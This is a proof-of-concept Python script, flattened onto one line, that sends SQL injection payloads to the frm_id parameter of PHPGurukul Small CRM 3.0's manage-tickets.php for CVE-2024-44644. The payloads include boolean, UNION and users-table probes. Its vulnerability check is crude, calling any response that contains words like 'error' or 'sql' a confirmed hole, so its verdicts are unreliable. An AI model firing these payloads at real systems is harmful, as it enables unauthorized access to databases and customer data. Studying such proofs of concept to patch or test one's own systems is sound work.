CVE-2024-44644 PHPGurukul Small CRM 3.0 SQL注入漏洞

# CVE-2024-44644 SQL Injection PoC # Target: PHPGurukul Small CRM 3.0 # Endpoint: manage-tickets.php # Vulnerable Parameters: frm_id, aremark import requests import sys target = "http://target.com/small-crm/manage-tickets.php" # Boolean-based blind SQL injection payload for frm_id parameter payloads = [ "1' AND 1=1 --", # True condition "1' AND 1=2 --", # False condition "1' UNION SELECT NULL,NULL,NULL,NULL,NULL --", # Union injection "1' AND (SELECT COUNT(*) FROM users) > 0 --", # Check if users table exists ] def test_sql_injection(): print(f"[*] Testing CVE-2024-44644 on {target}") for payload in payloads: params = {'frm_id': payload} try: response = requests.get(target, params=params, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for SQL error indicators if any(err in response.text.lower() for err in ['sql', 'mysql', 'syntax', 'error']): print("[!] SQL Error detected - vulnerability confirmed!") return True except requests.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": if test_sql_injection(): print("[+] CVE-2024-44644 vulnerability detected!") else: print("[-] No vulnerability detected or target not accessible")